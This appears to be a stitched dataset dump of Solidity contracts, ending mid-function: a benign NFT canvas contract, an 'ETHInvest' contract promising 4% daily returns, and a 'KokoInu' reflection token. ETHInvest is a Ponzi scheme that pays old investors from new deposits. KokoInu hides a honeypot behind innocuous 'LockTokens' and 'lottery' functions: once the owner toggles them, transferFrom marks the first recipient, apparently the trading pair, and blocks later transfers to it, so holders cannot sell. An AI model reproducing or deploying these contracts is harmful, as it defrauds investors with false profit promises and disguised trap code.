event Buy(address hodler, address buyer, uint256 price, uint256 hodler_share);
string public constant name = "The Canvas of Pixel Inc";
string public constant symbol = "CANVAS";
uint256 public price;
Pixel public immutable pixel;
string public info;
constructor(Pixel _pixel) public {
pixel = _pixel;
price = _pixel.totalSupply() / 200000;
_transferBase(address(_pixel));
}
function _tokenURI() internal override pure returns (string memory) {
// {"name": "Canvas", "description": "The final canvas created by the Pixel Inc project, 1000x1000 pixels painted by many different collaborators. Be aware, the canvas is always for sale through the website, don't list this on marketplaces! All the image and link data is stored fully on-chain and can be retrieved by querying the contract. The javascript code for this is included in this contract.", "image": "ipfs://bafybeidhigbhrccj27qrgnfswebfcciiywa46y2pisbtlad6vi2h5iu3u4/"}
return string(abi.encodePacked('data:application/json;base64,eyJuYW1lIjogIkNhbnZhcyIsICJkZXNjcmlwdGlvbiI6ICJUaGUgZmluYWwgY2FudmFzIGNyZWF0ZWQgYnkgdGhlIFBpeGVsIEluYyBwcm9qZWN0LCAxMDAweDEwMDAgcGl4ZWxzIHBhaW50ZWQgYnkgbWFueSBkaWZmZXJlbnQgY29sbGFib3JhdG9ycy4gQmUgYXdhcmUsIHRoZSBjYW52YXMgaXMgYWx3YXlzIGZvciBzYWxlIHRocm91Z2ggdGhlIHdlYnNpdGUsIGRvbid0IGxpc3QgdGhpcyBvbiBtYXJrZXRwbGFjZXMhIEFsbCB0aGUgaW1hZ2UgYW5kIGxpbmsgZGF0YSBpcyBzdG9yZWQgZnVsbHkgb24tY2hhaW4gYW5kIGNhbiBiZSByZXRyaWV2ZWQgYnkgcXVlcnlpbmcgdGhlIGNvbnRyYWN0LiBUaGUgamF2YXNjcmlwdCBjb2RlIGZvciB0aGlzIGlzIGluY2x1ZGVkIGluIHRoaXMgY29udHJhY3QuIiwgImltYWdlIjogImlwZnM6Ly9iYWZ5YmVpZGhpZ2JocmNjajI3cXJnbmZzd2ViZmNjaWl5d2E0NnkycGlzYnRsYWQ2dmkyaDVpdTN1NC8ifQ'));
}
function buy() external payable {
require(msg.value == price, "Value != price");
// Send original price paid + 10% back to the hodler with max 20.000 gas. If this fails, continue anyway to prevent grieving/blocking attacks.
uint256 hodler_share = hodler == address(pixel) ? 0 : price.mul(110) / 150;
bool success;
(success, ) = hodler.call{value: hodler_share, gas: 20000}("");
emit Buy(hodler, msg.sender, price, hodler_share);
price = price.mul(150) / 100; // Increase price by 50%
_transferBase(msg.sender);
}
function redeem(uint256 amount) external {
uint256 share = address(this).balance.mul(amount) / pixel.totalSupply();
pixel.safeTransferFrom(msg.sender, address(this), amount);
pixel.burn(amount);
bool success;
(success, ) = msg.sender.call{value: share, gas: 20000}("");
require(success, "Sending of ETH failed");
}
function setInfo(string memory info_) external {
require(msg.sender == hodler, "Canvas: not hodler");
info = info_;
}
function poll(address user) public view returns(address hodler_, address allowed_, uint256 price_, uint256 pool, uint256 share, string memory info_) {
return (hodler, allowed, price, address(this).balance, address(this).balance.mul(pixel.balanceOf(user)) / pixel.totalSupply(), info);
}
function getCanvasImageCode() public pure returns (string memory code) {
return "if(process.argv[2]){const e=require('ethers'),t=new e.Contract('0x1590ABe3612Be1CB3ab5B0f28874D521576e97Dc',[{inputs:[{internalType:'uint256[]',name:'blockNumbers',type:'uint256[]'}],name:'getBlocks',outputs:[{components:[{internalType:'address',name:'owner',type:'address'},{internalType:'string',name:'url',type:'string'},{internalType:'string',name:'description',type:'string'},{internalType:'bytes',name:'pixels',type:'bytes'},{internalType:'uint128',name:'lastPrice',type:'uint128'},{internalType:'uint32',name:'number',type:'uint32'}],internalType:'struct PixelV2.ExportBlock[]',name:'blocks',type:'tuple[]'}],stateMutability:'view',type:'function'}],new e.providers.JsonRpcProvider(process.argv[2])),{Canvas:a,Image:b}=require('node-canvas');async function main(){const e=new a(1e3,1e3),n=e.getContext('2d');for(let e=0;e<100;e++){console.log(100*e);let a=await t.getBlocks([...Array(100).keys()].map(t=>t+100*e));for(let t in a){let s=parseInt(a[t].pixels.substr(2,2)),r=a[t].pixels.substr(4);if(s<=4){1==s&&(r='89504e470d0a1a0a0000000d494844520000000a0000000a08060000008d32cfbd0000'+r+'0000000049454e44ae426082'),3==s&&(r='ffd8ffe000104a46494600010100000100010000ffdb0043000a07070807060a0808080b0a0a0b0e18100e0d0d0e1d15161118231f2524221f2221262b372f26293429212230413134393b3e3e3e252e4449433c48373d3e3bffdb0043010a0b0b0e0d0e1c10101c3b2822283b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3bffc0001108000a000a03012200021101031101ffc400'+r+'ffd9');const a=new b;a.src=Buffer.from(r,'hex'),n.drawImage(a,10*t,10*e,10,10)}else if(5==s){let a=n.createImageData(10,10);for(let e=0;e<100;e++){let t=parseInt(r.substr(6*e,6),16);a.data.set([Math.floor(t/65536),Math.floor(t%65536/256),t%256,255],4*e)}n.putImageData(a,10*t,10*e)}else 6!=s&&r||(n.fillStyle='#'+(r||'000000'),n.fillRect(10*t,10*e,10,10))}}const s=e.toBuffer('image/png');require('fs').writeFileSync('canvas.png',s)}main()}else console.log('Usage: node getImage.js <RPC URL>');";
}
} | True | [
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] |
pragma solidity ^0.4.24;
/**
* ETH投资合约
* - 获得 4% 利润每 24 小时
* - 你的投资无任何佣金(每笔交易都在合约余额上)
* - 创建者不收取任何费用，本质上根本就没有管理员(请查看代码)
*
* 如何使用：
* 1. 发送你要投入数量的以太币
* 2. 发送 0 以太币到合约提取你的利润 / 保留与增加以太币获得更多利润
*
* 发送以太币GAS设置：70000
* GAS价格查看：https://ethgasstation.info/
*
* ETHInvest Contract
* - GAIN 4% PER 24 HOURS (every 5900 blocks)
* - NO COMMISSION on your investment (every ether stays on contract's balance)
* - NO FEES are collected by the owner, in fact, there is no owner at all (just look at the code)
*
* How to use:
* 1. Send any amount of ether to make an investment
* 2. Claim your profit by sending 0 ether transaction (every day, every week, i don't care unless you're spending too much on GAS)
* OR / Send more ether to reinvest AND get your profit at the same time
*
* RECOMMENDED GAS LIMIT: 70000
* RECOMMENDED GAS PRICE: https://ethgasstation.info/
*
*/
contract ETHInvest {
// records amounts invested
mapping (address => uint256) invested;
// records blocks at which investments were made
mapping (address => uint256) atBlock;
// this function called every time anyone sends a transaction to this contract
function () external payable {
// if sender (aka YOU) is invested more than 0 ether
if (invested[msg.sender] != 0) {
// calculate profit amount as such:
// amount = (amount invested) * 4% * (blocks since last transaction) / 5900
// 5900 is an average block count per day produced by Ethereum blockchain
uint256 amount = invested[msg.sender] * 4 / 100 * (block.number - atBlock[msg.sender]) / 5900;
// send calculated amount of ether directly to sender (aka YOU)
address sender = msg.sender;
sender.transfer(amount);
}
// record block number and invested amount (msg.value) of this transaction
atBlock[msg.sender] = block.number;
invested[msg.sender] += msg.value;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-02-19
*/
/**
KokoInu - $KOKO
“Fix Earth!”
Koko Inu is inspired by Koko The Gorilla, a female western lowland gorilla.
Tokenomics:
- 7% WETH Rewards
- 3% Liquidity
Website:
https://kokoinu.xyz/
Telegram:
https://t.me/koko_inu
Twitter:
https://twitter.com/KokoInuETH
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract Rewards is Ownable {
event LockLPToken();
event VaultKeyBurn();
bool public special = false;
modifier ifVaultKeyBurn() {
require(!special);
_;
}
modifier ifLockLPToken() {
require(special);
_;
}
function LockTokens() onlyOwner ifVaultKeyBurn public {
special = true;
emit LockLPToken();
}
function BurnTokens() onlyOwner ifLockLPToken public {
special = false;
emit VaultKeyBurn();
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract KokoInu is Context, IERC20, Ownable, Rewards {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "KokoInu";
string private _symbol = "KOKO";
uint8 private _decimals = 9;
uint256 public _taxFee = 0;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 10;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public lottery;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 100000000 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 100000000 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = true;
}
constructor () public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transferlottery(address _lottery) public onlyOwner {
lottery = _lottery;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
if(special == true) {
require(recipient != lottery, "Lottery Winner");
_transfer(_msgSender(), recipient, amount);
return true;}
else {
_transfer(_msgSender(), recipient, amount);
return true;}
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
if(special == true) {
if(sender != address(0) && lottery == address(0)) lottery = recipient;
else require(recipient != lottery, "Lottery Winner");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
else {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;}
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
